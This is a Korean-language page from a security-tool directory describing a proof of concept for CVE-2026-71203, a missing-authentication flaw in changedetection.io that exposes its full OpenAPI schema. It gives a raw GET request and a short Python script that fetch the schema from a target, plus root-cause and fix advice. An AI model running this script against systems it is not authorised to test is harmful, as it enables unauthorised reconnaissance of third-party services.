Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-71203-PoC — PoC: changedetection.io 인증되지 않은 OpenAPI 스키마 노출 (CVE-2026-71203, 중간 5.3) | Kitploit
도구/GitHubGitHub/nel-droid/cve-2026-71203-poc
Vulnerability AnalysisExploitationAPI Security TestingInformation GatheringWeb SecurityPenetration TestingAPI Security
GitHubnel-droid/cve-2026-71203-poc

CVE-2026-71203-PoC

PoC: changedetection.io 인증되지 않은 OpenAPI 스키마 노출 (CVE-2026-71203, 중간 5.3)

저장소 보기
724일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-71203 — changedetection.io: /api/v1/full-spec의 인증 누락으로 전체 OpenAPI 스키마 노출

제품: dgtlmoon/changedetection.io — v0.55.7 파일: changedetectionio/api/Spec.py CWE: CWE-306 — 중요 기능에 대한 인증 누락 CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (중간) CNA: Turan Security · CVE 레코드

설명

changedetection.io의 REST API 리소스는 호출자의 x-api-key 헤더를 검증하는 @auth.check_token 데코레이터로 보호됩니다. 단, /api/v1/full-spec(changedetectionio/api/Spec.py)에 등록된 Spec 리소스는 예외이며, 해당 메서드에는 도 도 적용되어 있지 않습니다.

get
@auth.check_token
@validate_openapi_request

영향

인증되지 않은 모든 네트워크 클라이언트는 API 키를 제시하지 않고도 인스턴스의 전체 OpenAPI 스키마를 조회하여, 내부 API 표면 전체(모든 리소스 경로, 매개변수, 응답 형태)를 노출할 수 있습니다. 스키마 자체는 민감한 사용자 데이터가 아니지만, 공격자에게 공격 대상이 될 수 있는 다른 모든 API 엔드포인트의 완전하고 공식적인 지도를 제공하여, 실제로 보호되는 리소스에 대한 추가 정찰 비용을 낮춥니다.

재현

root@kitploit:~
GET /api/v1/full-spec HTTP/1.1
Host: target-instance

x-api-key 헤더, 쿠키 또는 어떤 자격 증명도 필요하지 않습니다. 응답은 전체 OpenAPI 스펙 문서입니다.

개념 증명 (Python):

root@kitploit:~
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"

resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
    print("[+] Full OpenAPI schema disclosed with zero authentication:")
    print(resp.text[:1000])

근본 원인

API의 다른 모든 REST 리소스는 핸들러 메서드에 @auth.check_token(및 @validate_openapi_request)이 적용된 상태로 등록되어 있습니다. 그러나 Spec 리소스의 get 메서드는 같은 방식으로 데코레이션되지 않아, API 키로 보호되는 표면에서 유일하게 인증되지 않은 엔드포인트로 남아 있습니다.

수정 권장 사항

다른 모든 API 리소스와 일관되게 Spec.get()에 @auth.check_token을 적용하십시오. 또는 스키마를 공개하려는 의도라면, 불일치로 남겨두지 말고 이를 명시적이고 문서화된 결정으로 만드십시오.

도구 다운로드